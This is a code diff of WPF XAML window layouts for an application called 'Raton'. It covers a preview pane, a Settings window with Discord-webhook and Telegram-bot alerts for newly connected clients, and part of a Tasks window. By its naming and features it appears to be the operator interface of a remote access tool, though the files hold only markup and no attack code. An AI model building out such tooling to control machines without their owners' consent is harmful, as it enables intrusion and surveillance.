<DropShadowEffect Color="Black" BlurRadius="14" ShadowDepth="3" Opacity="0.5" Direction="270"/>
</UIElement.Effect>
<ScrollViewer CanContentScroll="true" Background="Transparent" VerticalScrollBarVisibility="Auto">
<ItemsPresenter/>
</ScrollViewer>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type MenuItem}">
<Setter Property="FrameworkElement.OverridesDefaultStyle" Value="true"/>
<Setter Property="UIElement.SnapsToDevicePixels" Value="true"/>
<Setter Property="Control.Foreground" Value="#DDDDDD"/>
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.FontSize" Value="12.5"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type MenuItem}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" CornerRadius="3" Margin="4,1"
Padding="8,6">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="20"/>
<ColumnDefinition/>
</Grid.ColumnDefinitions>
<ContentPresenter Content="{TemplateBinding MenuItem.Icon}" HorizontalAlignment="Center" VerticalAlignment="Center"/>
<ContentPresenter Grid.Column="1" ContentSource="Header" VerticalAlignment="Center" Margin="6,0,0,0"/>
</Grid>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="MenuItem.IsHighlighted" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#333333"/>
</Trigger>
<Trigger Property="MenuItem.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3E3E3E"/>
</Trigger>
<Trigger Property="UIElement.IsEnabled" Value="false">
<Setter Property="Control.Foreground" Value="#555555"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="MenuIcon" TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.FontFamily" Value="Segoe MDL2 Assets"/>
<Setter Property="TextBlock.FontSize" Value="13"/>
<Setter Property="TextBlock.Foreground" Value="#AAAAAA"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
<Setter Property="TextBlock.TextAlignment" Value="Center"/>
</Style>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightBrushKey}" Color="#252525"/>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightBrushKey}" Color="#1E1E1E"/>
</FrameworkElement.Resources>
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="135*"/>
<ColumnDefinition Width="272*"/>
</Grid.ColumnDefinitions>
<Grid.RowDefinitions>
<RowDefinition Height="32"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
<Grid Row="1" ColumnSpan="2">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="320"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<Border Grid.Column="0" Background="#FF202020" BorderBrush="#2A2A2A" BorderThickness="0,0,1,0"
Margin="0,-31,0,0">
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="260"/>
<RowDefinition Height="Auto"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Margin="16,16,16,0" CornerRadius="6" Background="#0D0D0D" BorderBrush="#2E2E2E"
BorderThickness="1">
<UIElement.Effect>
<DropShadowEffect Color="Black" BlurRadius="20" ShadowDepth="0" Opacity="0.6"/>
</UIElement.Effect>
<Grid>
<Image x:Name="PreviewImage" Stretch="Uniform" VerticalAlignment="Stretch" HorizontalAlignment="Stretch"/>
<StackPanel x:Name="PlaceholderPanel" VerticalAlignment="Center" HorizontalAlignment="Center">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="38" Foreground="#2A2A2A"
HorizontalAlignment="Center"/>
<TextBlock Text="The connection may be slow" Foreground="#3A3A3A" FontSize="11" HorizontalAlignment="Center"
Margin="0,8,0,0"/>
</StackPanel>
</Grid>
</Border>
<Border Grid.Row="1" Margin="16,14,16,0" Background="#1A1A1A" CornerRadius="4" Padding="10,6">
<StackPanel Orientation="Horizontal">
<Border Width="3" Height="14" CornerRadius="2" Background="#4A94BC" Margin="0,0,8,0"
VerticalAlignment="Center"/>
<TextBlock Text="D E T A I L S" Foreground="#666" FontSize="10" FontWeight="Bold" VerticalAlignment="Center"/>
</StackPanel>
</Border>
<StackPanel Grid.Row="2" Margin="16,12,16,0" Orientation="Vertical">
<Border Background="#1A1A1A" CornerRadius="4" Padding="10,8" Margin="0,0,0,6">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="*"/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="12" Foreground="#555" VerticalAlignment="Center"
Margin="0,0,7,0"/>
<TextBlock Text="Entries" Foreground="#666" FontSize="12" VerticalAlignment="Center"/>
</StackPanel>
<TextBlock x:Name="TbEntryCount" Grid.Column="1" Text="0" Foreground="#4A94BC" FontSize="13"
FontWeight="SemiBold" VerticalAlignment="Center"/>
</Grid>
</Border>
<Border Background="#1A1A1A" CornerRadius="4" Padding="10,8" Margin="0,0,0,6">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="*"/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="12" Foreground="#555" VerticalAlignment="Center"
Margin="0,0,7,0"/>
<TextBlock Text="Right click to update the preview" Foreground="#666" FontSize="12" VerticalAlignment="Center"/>
</StackPanel>
<TextBlock x:Name="sdadsad" Grid.Column="1" Text=" " Foreground="#4A94BC" FontSize="13" FontWeight="SemiBold"
VerticalAlignment="Center"/>
</Grid>
</Border>
</StackPanel>
</Grid>
</Border>
<Grid Column="1" Background="#161616">
<Grid.RowDefinitions>
<RowDefinition Height="Auto"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="#1A1A1A" BorderBrush="#2A2A2A" BorderThickness="0,0,0,1" Padding="16,10"
Margin="0,-34,0,34">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="White" VerticalAlignment="Center"
Margin="0,0,8,0"/>
<TextBlock Text="Preview data" Foreground="#CCCCCC" FontSize="13" FontWeight="SemiBold"
VerticalAlignment="Center"/>
</StackPanel>
</Border>
<DataGrid x:Name="InfoGrid" Background="Transparent" BorderThickness="0" AutoGenerateColumns="false"
GridLinesVisibility="Horizontal" HorizontalGridLinesBrush="#1F1F1F" HeadersVisibility="Column"
RowHeight="44" MinRowHeight="44" ColumnHeaderHeight="34" SelectionMode="Single"
CanUserAddRows="false" CanUserDeleteRows="false" CanUserReorderColumns="false"
CanUserResizeRows="false" IsReadOnly="true" IsSynchronizedWithCurrentItem="False" Grid.RowSpan="2">
<FrameworkElement.ContextMenu>
<ContextMenu>
<MenuItem Click="MenuItemReload_Click" Header="Reload">
<MenuItem.Icon>
<TextBlock Text="" Style="{StaticResource MenuIcon}" Foreground="#4A94BC"/>
</MenuItem.Icon>
</MenuItem>
</ContextMenu>
</FrameworkElement.ContextMenu>
<DataGrid.Columns>
<DataGridTemplateColumn Header="RESOURCE" Width="200">
<DataGridTemplateColumn.CellTemplate>
<DataTemplate>
<StackPanel Orientation="Horizontal" HorizontalAlignment="Left" VerticalAlignment="Center" MinHeight="44"
Margin="14,0">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="11" Foreground="#4A94BC"
VerticalAlignment="Center" Margin="0,0,7,0"/>
<TextBlock Foreground="#AAAAAA" FontSize="12" VerticalAlignment="Center" Text="{Binding Resource}"/>
</StackPanel>
</DataTemplate>
</DataGridTemplateColumn.CellTemplate>
</DataGridTemplateColumn>
<DataGridTemplateColumn Header="INFORMATION" Width="*">
<DataGridTemplateColumn.CellTemplate>
<DataTemplate>
<Border MinHeight="44" VerticalAlignment="Stretch">
<TextBlock Foreground="#E0E0E0" FontSize="12" HorizontalAlignment="Left" VerticalAlignment="Center"
TextTrimming="CharacterEllipsis" Margin="14,0" Text="{Binding Information}"/>
</Border>
</DataTemplate>
</DataGridTemplateColumn.CellTemplate>
</DataGridTemplateColumn>
</DataGrid.Columns>
</DataGrid>
</Grid>
</Grid>
</Grid>
</Window>
Binary file not shown.

After

Width:  |  Height:  |  Size: 187 KiB

+348
View File
@@ -0,0 +1,348 @@
<Window x:Class="Raton.Windows.Settings"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
Title="Settings" Width="400" Height="510.842" MinWidth="360" Background="#FF202020"
WindowStartupLocation="CenterOwner" ResizeMode="NoResize" Icon="/Raton;component/RATA.ico">
<FrameworkElement.Resources>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightBrushKey}" Color="#3A2D5A"/>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.ControlBrushKey}" Color="#1E1E1E"/>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#CCCCCC"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
<Style x:Key="ToggleSwitch" TargetType="{x:Type CheckBox}">
<Setter Property="UIElement.Focusable" Value="false"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type CheckBox}">
<Grid VerticalAlignment="Center">
<Border x:Name="Track" Width="40" Height="22" CornerRadius="11" Background="#333"/>
<Ellipse x:Name="Thumb" Width="16" Height="16" Fill="White" HorizontalAlignment="Left" Margin="3,0,0,0"/>
</Grid>
<ControlTemplate.Triggers>
<Trigger Property="ToggleButton.IsChecked" Value="True">
<Setter TargetName="Track" Property="Border.Background" Value="#7B5EA7"/>
<Setter TargetName="Thumb" Property="FrameworkElement.Margin" Value="21,0,0,0"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="InputBox" TargetType="{x:Type TextBox}">
<Setter Property="Control.Background" Value="#1A1A1A"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="TextBoxBase.CaretBrush" Value="#CCCCCC"/>
<Setter Property="Control.BorderBrush" Value="#2E2E2E"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.Padding" Value="10,0"/>
<Setter Property="FrameworkElement.Height" Value="34"/>
<Setter Property="Control.FontSize" Value="12"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type TextBox}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="6">
<ScrollViewer x:Name="PART_ContentHost" Margin="{TemplateBinding Control.Padding}" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter Property="Control.BorderBrush" Value="#7B5EA7"/>
</Trigger>
<Trigger Property="UIElement.IsEnabled" Value="false">
<Setter Property="UIElement.Opacity" Value="0.35"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="PurpleButton" TargetType="{x:Type Button}">
<Setter Property="Control.Background" Value="#7B5EA7"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.Height" Value="40"/>
<Setter Property="Control.FontSize" Value="13"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="UIElement.RenderTransformOrigin" Value="0.5,0.5"/>
<Setter Property="UIElement.RenderTransform">
<Setter.Value>
<ScaleTransform ScaleX="1" ScaleY="1"/>
</Setter.Value>
</Setter>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" CornerRadius="8">
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#9370C0"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#5E4480"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
<Style.Triggers>
<EventTrigger RoutedEvent="MouseEnter">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleX)" To="1.015"
Duration="0:0:0.12">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleY)" To="1.015"
Duration="0:0:0.12">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
<EventTrigger RoutedEvent="MouseLeave">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleX)" To="1"
Duration="0:0:0.15">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleY)" To="1"
Duration="0:0:0.15">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</Style.Triggers>
</Style>
<Style x:Key="GhostButton" TargetType="{x:Type Button}" BasedOn="{StaticResource PurpleButton}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" BorderBrush="#333"
BorderThickness="1" CornerRadius="8">
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#2E2E2E"/>
<Setter TargetName="Bd" Property="Border.BorderBrush" Value="#7B5EA7"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#1A1A1A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="DangerButton" TargetType="{x:Type Button}" BasedOn="{StaticResource PurpleButton}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="Bd" Background="#252525" BorderBrush="#3A1A1A" BorderThickness="1" CornerRadius="8">
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#2E1A1A"/>
<Setter TargetName="Bd" Property="Border.BorderBrush" Value="#C0392B"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#1A0A0A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</FrameworkElement.Resources>
<FrameworkElement.Triggers>
<EventTrigger RoutedEvent="Window.Loaded">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetName="Root" Storyboard.TargetProperty="Opacity" From="0" To="1"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetName="Root"
Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.Y)" From="6" To="0"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</FrameworkElement.Triggers>
<Grid x:Name="Root" Margin="14">
<UIElement.RenderTransform>
<TranslateTransform Y="0"/>
</UIElement.RenderTransform>
<Grid.RowDefinitions>
<RowDefinition Height="Auto"/>
<RowDefinition/>
<RowDefinition Height="Auto"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="#252525" CornerRadius="8" Padding="14,10" Margin="0,0,0,12">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition/>
</Grid.ColumnDefinitions>
<Border Grid.Column="0" Width="38" Height="38" CornerRadius="10" Margin="0,0,12,0">
<Border.Background>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,1">
<GradientStop Color="#3A2A5A" Offset="0"/>
<GradientStop Color="#7B5EA7" Offset="1"/>
</LinearGradientBrush>
</Border.Background>
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="18" HorizontalAlignment="Center"
VerticalAlignment="Center"/>
</Border>
<StackPanel Grid.Column="1" VerticalAlignment="Center">
<TextBlock Text="Raton Settings" Foreground="White" FontSize="14" FontWeight="SemiBold"/>
<TextBlock Text="Configure your Raton application with cool options" Foreground="#555" FontSize="11"
Margin="0,2,0,0" TextWrapping="Wrap"/>
</StackPanel>
</Grid>
</Border>
<ScrollViewer Grid.Row="1" VerticalScrollBarVisibility="Auto" HorizontalScrollBarVisibility="Disabled"
Margin="0,0,0,12">
<StackPanel>
<TextBlock Text="NOTIFICATIONS" Foreground="#444" FontSize="10" FontWeight="SemiBold" Margin="2,0,0,6"/>
<Border Background="#252525" CornerRadius="8" Padding="14,12" Margin="0,0,0,6">
<StackPanel>
<Grid Margin="0,0,0,8">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<Border Grid.Column="0" Width="30" Height="30" CornerRadius="8" Margin="0,0,10,0">
<Border.Background>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,1">
<GradientStop Color="#2A2A5A" Offset="0"/>
<GradientStop Color="#5865F2" Offset="1"/>
</LinearGradientBrush>
</Border.Background>
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" HorizontalAlignment="Center"
VerticalAlignment="Center"/>
</Border>
<StackPanel Grid.Column="1" VerticalAlignment="Center">
<TextBlock Text="Discord Webhook" Foreground="#CCCCCC" FontSize="13" FontWeight="SemiBold"/>
<TextBlock Text="Send a message when a new client is connected" Foreground="#555" FontSize="11"
Margin="0,2,0,0"/>
</StackPanel>
<CheckBox Checked="ChkWebhook_Changed" Unchecked="ChkWebhook_Changed" x:Name="ChkWebhook" Grid.Column="2"
Style="{StaticResource ToggleSwitch}"/>
</Grid>
<TextBox x:Name="TbWebhookUrl" Style="{StaticResource InputBox}" IsEnabled="false"/>
<TextBlock Text="discord.com/api/webhooks/..." Foreground="#383838" FontSize="10" Margin="4,3,0,0"/>
</StackPanel>
</Border>
<Border Background="#252525" CornerRadius="8" Padding="14,12" Margin="0,0,0,14">
<StackPanel>
<Grid Margin="0,0,0,8">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<Border Grid.Column="0" Width="30" Height="30" CornerRadius="8" Margin="0,0,10,0">
<Border.Background>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,1">
<GradientStop Color="#1A3A5A" Offset="0"/>
<GradientStop Color="#229ED9" Offset="1"/>
</LinearGradientBrush>
</Border.Background>
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" HorizontalAlignment="Center"
VerticalAlignment="Center"/>
</Border>
<StackPanel Grid.Column="1" VerticalAlignment="Center">
<TextBlock Text="Telegram Bot" Foreground="#CCCCCC" FontSize="13" FontWeight="SemiBold"/>
<TextBlock Text="Send a message when a new client is connected" Foreground="#555" FontSize="11"
Margin="0,2,0,0"/>
</StackPanel>
<CheckBox Checked="ChkBot_Changed" Unchecked="ChkBot_Changed" x:Name="ChkBot" Grid.Column="2"
Style="{StaticResource ToggleSwitch}"/>
</Grid>
<TextBlock Text="Bot Token" Foreground="#555" FontSize="11" Margin="0,0,0,4"/>
<TextBox x:Name="TbBotToken" Style="{StaticResource InputBox}" IsEnabled="false" Margin="0,0,0,8"/>
<TextBlock Text="Chat ID" Foreground="#555" FontSize="11" Margin="0,0,0,4"/>
<TextBox x:Name="TbChatId" Style="{StaticResource InputBox}" IsEnabled="false"/>
</StackPanel>
</Border>
<TextBlock Text="APPEARANCE" Foreground="#444" FontSize="10" FontWeight="SemiBold" Margin="2,0,0,6"/>
<Border Background="#252525" CornerRadius="8" Padding="14,12" Margin="0,0,0,14">
<StackPanel>
<Button Click="BtnPfp_Click" x:Name="BtnPfp" Style="{StaticResource GhostButton}" Margin="0,0,0,8">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="#7B5EA7" Margin="0,0,8,0"/>
<TextBlock Text="Change profile picture" Foreground="#CCCCCC" FontSize="13"/>
</StackPanel>
</Button>
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="100"/>
</Grid.ColumnDefinitions>
<Button Click="BtnWallpaper_Click" x:Name="BtnWallpaper" Grid.Column="0"
Style="{StaticResource GhostButton}" Margin="0,0,6,0">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="#7B5EA7" Margin="0,0,8,0"/>
<TextBlock Text="Change wallpaper" Foreground="#CCCCCC" FontSize="13"/>
</StackPanel>
</Button>
<Button Click="BtnRemoveWall_Click" x:Name="BtnRemoveWall" Grid.Column="1"
Style="{StaticResource DangerButton}">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="#C0392B" Margin="0,0,6,0"/>
<TextBlock Text="Remove" Foreground="#CC6666" FontSize="13"/>
</StackPanel>
</Button>
</Grid>
</StackPanel>
</Border>
<TextBlock Text="DISCORD" Foreground="#444" FontSize="10" FontWeight="SemiBold" Margin="2,0,0,6"/>
<Border Background="#252525" CornerRadius="8" Padding="14,12" Margin="0,0,0,4">
<Button Click="BtnDisableRpc_Click" x:Name="BtnDisableRpc" Style="{StaticResource DangerButton}">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="#C0392B" Margin="0,0,8,0"/>
<TextBlock Text="Disable Discord RPC" Foreground="#CC6666" FontSize="13"/>
</StackPanel>
</Button>
</Border>
</StackPanel>
</ScrollViewer>
<Button Click="BtnSave_Click" x:Name="BtnSave" Grid.Row="2" Style="{StaticResource PurpleButton}">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="14" Margin="0,0,8,0" Foreground="White"/>
<TextBlock Text="Save and restart" Foreground="White" FontSize="13" FontWeight="SemiBold"/>
</StackPanel>
</Button>
</Grid>
</Window>
+430
View File
@@ -0,0 +1,430 @@
<Window x:Class="Raton.Windows.Tasks"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:local="clr-namespace:Raton.Windows"
Title="Tasks " Height="549.474" Width="776.421" Background="#1C1C1C"
WindowStartupLocation="CenterOwner">
<FrameworkElement.Resources>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightBrushKey}" Color="#2C2C2C"/>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightBrushKey}" Color="#2C2C2C"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightTextBrushKey}" Color="White"/>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.TextAlignment" Value="Center"/>
</Style>
<Style TargetType="{x:Type DataGridRow}">
<Setter Property="Control.Background" Value="#1C1C1C"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="UIElement.RenderTransformOrigin" Value="0.5,0.5"/>
<Setter Property="UIElement.RenderTransform">
<Setter.Value>
<TranslateTransform X="0"/>
</Setter.Value>
</Setter>
<Style.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<TriggerBase.EnterActions>
<BeginStoryboard>
<Storyboard>
<ColorAnimation Storyboard.TargetProperty="Background.Color" To="#252525" Duration="0:0:0.14"/>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.X)" To="4"
Duration="0:0:0.14"/>
</Storyboard>
</BeginStoryboard>
</TriggerBase.EnterActions>
<TriggerBase.ExitActions>
<BeginStoryboard>
<Storyboard>
<ColorAnimation Storyboard.TargetProperty="Background.Color" To="#1C1C1C" Duration="0:0:0.14"/>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.X)" To="0"
Duration="0:0:0.14"/>
</Storyboard>
</BeginStoryboard>
</TriggerBase.ExitActions>
</Trigger>
<Trigger Property="DataGridRow.IsSelected" Value="true">
<Setter Property="Control.Background" Value="#2E2E2E"/>
<Setter Property="Control.Foreground" Value="White"/>
</Trigger>
</Style.Triggers>
</Style>
<Style TargetType="{x:Type DataGridCell}">
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.FocusVisualStyle" Value="{x:Null}"/>
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="White"/>
<Style.Triggers>
<Trigger Property="DataGridCell.IsSelected" Value="true">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.BorderBrush" Value="Transparent"/>
</Trigger>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.BorderBrush" Value="Transparent"/>
</Trigger>
</Style.Triggers>
</Style>
<Style TargetType="{x:Type DataGridColumnHeader}">
<Setter Property="Control.Background" Value="#262626"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="Control.HorizontalContentAlignment" Value="Center"/>
</Style>
<Style x:Key="NavContainer" TargetType="{x:Type Border}">
<Setter Property="Border.Padding" Value="10,0"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Border.Background" Value="#00262626"/>
<Setter Property="Border.CornerRadius" Value="4"/>
<Setter Property="UIElement.RenderTransformOrigin" Value="0.5,0.5"/>
<Setter Property="UIElement.RenderTransform">
<Setter.Value>
<TranslateTransform Y="0"/>
</Setter.Value>
</Setter>
<Style.Triggers>
<EventTrigger RoutedEvent="MouseEnter">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.Y)" To="-2"
Duration="0:0:0.13">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<ColorAnimation Storyboard.TargetProperty="Background.Color" To="#2E2E2E" Duration="0:0:0.14"/>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
<EventTrigger RoutedEvent="MouseLeave">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.Y)" To="0"
Duration="0:0:0.14">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<ColorAnimation Storyboard.TargetProperty="Background.Color" To="#00262626" Duration="0:0:0.16"/>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</Style.Triggers>
</Style>
<Style x:Key="MenuIcon" TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.FontFamily" Value="Segoe MDL2 Assets"/>
<Setter Property="TextBlock.FontSize" Value="13"/>
<Setter Property="TextBlock.Foreground" Value="#AAAAAA"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
<Setter Property="TextBlock.TextAlignment" Value="Center"/>
</Style>
<Style TargetType="{x:Type ContextMenu}">
<Setter Property="UIElement.SnapsToDevicePixels" Value="true"/>
<Setter Property="FrameworkElement.OverridesDefaultStyle" Value="true"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ContextMenu}">
<Border Background="#242424" BorderBrush="#383838" BorderThickness="1" CornerRadius="6" Padding="0,4">
<UIElement.Effect>
